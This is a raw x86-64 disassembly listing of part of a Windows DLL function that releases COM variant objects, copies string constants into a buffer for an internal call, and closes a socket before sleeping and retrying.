mov edx, r14d
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
nop
lea rdx, [rbp - 0x18]
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012454
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012475
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012496
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800124b7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800124d8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800124f9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
jg 0x180012519
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x180012987
lea rcx, [rsp + 0x6a0]
lea rdi, [0x180000000]
mov rax, qword [rdi + 0x56be8]
mov qword [rcx], rax
mov rax, qword [rdi + 0x56bf0]
mov qword [rcx + 8], rax
mov rax, qword [rdi + 0x56bf8]
mov qword [rcx + 0x10], rax
mov rax, qword [rdi + 0x56c00]
mov qword [rcx + 0x18], rax
mov rax, qword [rdi + 0x56c08]
mov qword [rcx + 0x20], rax
mov rax, qword [rdi + 0x56c10]
mov qword [rcx + 0x28], rax
mov rax, qword [rdi + 0x56c18]
mov qword [rcx + 0x30], rax
movzx eax, byte [rdi + 0x56c20]
mov byte [rcx + 0x38], al
mov edx, r15d
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
nop
lea rdx, [rbp - 0x18]
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800125b2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800125d3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800125f4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012615
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012636
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012657
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
jg 0x180012677
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x180012987
lea rcx, [rsp + 0x6a0]
mov rax, qword [r15 + 0x56ba8]
mov qword [rcx], rax
mov rax, qword [r15 + 0x56bb0]
mov qword [rcx + 8], rax
mov rax, qword [r15 + 0x56bb8]
mov qword [rcx + 0x10], rax
mov rax, qword [r15 + 0x56bc0]
mov qword [rcx + 0x18], rax
mov rax, qword [r15 + 0x56bc8]
mov qword [rcx + 0x20], rax
mov rax, qword [r15 + 0x56bd0]
mov qword [rcx + 0x28], rax
mov rax, qword [r15 + 0x56bd8]
mov qword [rcx + 0x30], rax
mov eax, dword [r15 + 0x56be0]
mov dword [rcx + 0x38], eax
movzx eax, byte [r15 + 0x56be4]
mov byte [rcx + 0x3c], al
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
nop
lea rdx, [rbp - 0x18]
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012711
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012732
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012753
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012774
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012795
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800127b6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
jg 0x1800127d6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x180012987
lea rcx, [rsp + 0x6a0]
mov rax, qword [r15 + 0x56b48]
mov qword [rcx], rax
mov rax, qword [r15 + 0x56b50]
mov qword [rcx + 8], rax
mov eax, dword [r15 + 0x56b58]
mov dword [rcx + 0x10], eax
movzx eax, byte [r15 + 0x56b5c]
mov byte [rcx + 0x14], al
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x186a0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180012825
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r9d, eax
lea rdx, [rsp + 0x6a0]
mov rcx, qword [r15 + 0x56ad0]
mov qword [rdx], rcx
mov rcx, qword [r15 + 0x56ad8]
mov qword [rdx + 8], rcx
mov rcx, qword [r15 + 0x56ae0]
mov qword [rdx + 0x10], rcx
mov rcx, qword [r15 + 0x56ae8]
mov qword [rdx + 0x18], rcx
mov rcx, qword [r15 + 0x56af0]
mov qword [rdx + 0x20], rcx
mov rcx, qword [r15 + 0x56af8]
mov qword [rdx + 0x28], rcx
movzx eax, byte [r15 + 0x56b00]
mov byte [rdx + 0x30], al
mov r8d, dword [rsp + 0x70]
mov edx, edi
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
nop
lea rdx, [rbp - 0x18]
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800128c0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800128e1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012902
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012923
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012944
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180012965
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
dec r13d
test r13d, r13d
jg 0x180012985
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
mov rcx, qword [rsp + 0x16a0]
xor rcx, rsp
call fcn.18002bd00
lea r11, [rsp + 0x16b0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret